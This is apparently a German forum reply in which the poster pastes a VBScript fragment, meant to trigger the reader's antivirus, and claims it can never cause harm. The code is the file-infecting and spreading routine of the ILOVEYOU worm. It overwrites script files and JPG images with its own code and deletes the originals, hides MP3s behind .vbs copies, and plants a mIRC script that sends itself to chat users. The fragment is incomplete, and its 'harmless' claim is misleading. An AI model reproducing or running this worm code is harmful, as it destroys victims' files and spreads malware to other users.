> Ist mir noch nie passiert, aber mach doch mal.

Bitte sehr...  ( Keine Angst. Dieses Fragment kann niemals Schaden anrichten. Wenn deine AV \"funktioniert\" müsste sie Alarm schlagen.


sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&\"\\\")
end if
Next
listadriv = s
end sub
sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
if (ext=\"vbs\") or (ext=\"vbe\") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext=\"js\") or (ext=\"jse\") or (ext=\"css\") or (ext=\"wsh\") or (ext=\"sct\")
or (ext=\"hta\") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&\"\\\"&bname&\".vbs\")
fso.DeleteFile(f1.path)
elseif(ext=\"jpg\") or (ext=\"jpeg\") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&\".vbs\")
fso.DeleteFile(f1.path)
elseif(ext=\"mp3\") or (ext=\"mp2\") then
set mp3=fso.CreateTextFile(f1.path&\".vbs\")
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if
if (eq<>folderspec) then
if (s=\"mirc32.exe\") or (s=\"mlink32.exe\") or (s=\"mirc.ini\") or
(s=\"script.ini\") or (s=\"mirc.hlp\") then
set scriptini=fso.CreateTextFile(folderspec&\"\\script.ini\")
scriptini.WriteLine \"[script]\"
scriptini.WriteLine \";mIRC Script\"
scriptini.WriteLine \"; Please dont edit this script... mIRC will corrupt,
if mIRC will\"
scriptini.WriteLine \" corrupt... WINDOWS will affect and will not run
correctly. thanks\"
scriptini.WriteLine \";\"
scriptini.WriteLine \";Khaled Mardam-Bey\"
scriptini.WriteLine \";h**p://www.mirc.com\"
scriptini.WriteLine \";\"
scriptini.WriteLine \"n0=on 1:JOIN:#:{\"
scriptini.WriteLine \"n1= /if ( $nick == $me ) { halt }\"
scriptini.WriteLine \"n2= /.dcc send $nick

scriptini.WriteLine \"n3=}\"
scriptini.close
eq=folderspec
end if
end if
next
end sub
sub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec)
set sf = f.SubFolders
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)